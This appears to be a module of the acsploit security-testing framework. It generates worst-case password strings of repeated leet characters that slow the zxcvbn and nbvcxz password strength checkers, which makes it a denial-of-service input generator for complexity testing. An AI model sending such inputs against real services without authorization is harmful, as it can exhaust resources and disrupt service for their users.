from acsploit.options import Options

options = Options()
options.add_option('library', "zxcvbn", 'The library to target with worst-case passwords', ['zxcvbn', 'nbvcxz'])
options.add_option('length', 100, 'Length of password')

DESCRIPTION = 'Produces worst-case input for the zxcvbn password validation algorithm, targeting 1337 character replacement' \
              '\n\n  The algorithm is already O(n^2) due to checking every single substring of the password. ' \
              'Maximizing the leet characters in the password increases the cost of checking each substring.'

NO_INPUT = True

# We found that by utilizing ALL leet characters, some zxcvbn implementations take longer to process the password
LEETCHARS = "4@8({[<3691!|170$5%2"
# This may not be precisely the worst case, as it's unclear what role some other matchers play in extending the length
NBVCXZ = "4@8({[</369&#!1/|0$5+7%2/"


def run(output):
    ret = generate_password(options['library'], options['length'])
    output.output([ret])


def repeat_to_length(string_to_expand, length):
    return (string_to_expand * (int(length/len(string_to_expand))+1))[:length]


def generate_password(target, length):
    if target == "zxcvbn":
        password = repeat_to_length(LEETCHARS, length)
    elif target == "nbvcxz":
        password = repeat_to_length(NBVCXZ, length)
    else:
        raise ValueError('Unknown library target %s' % target)
    return password
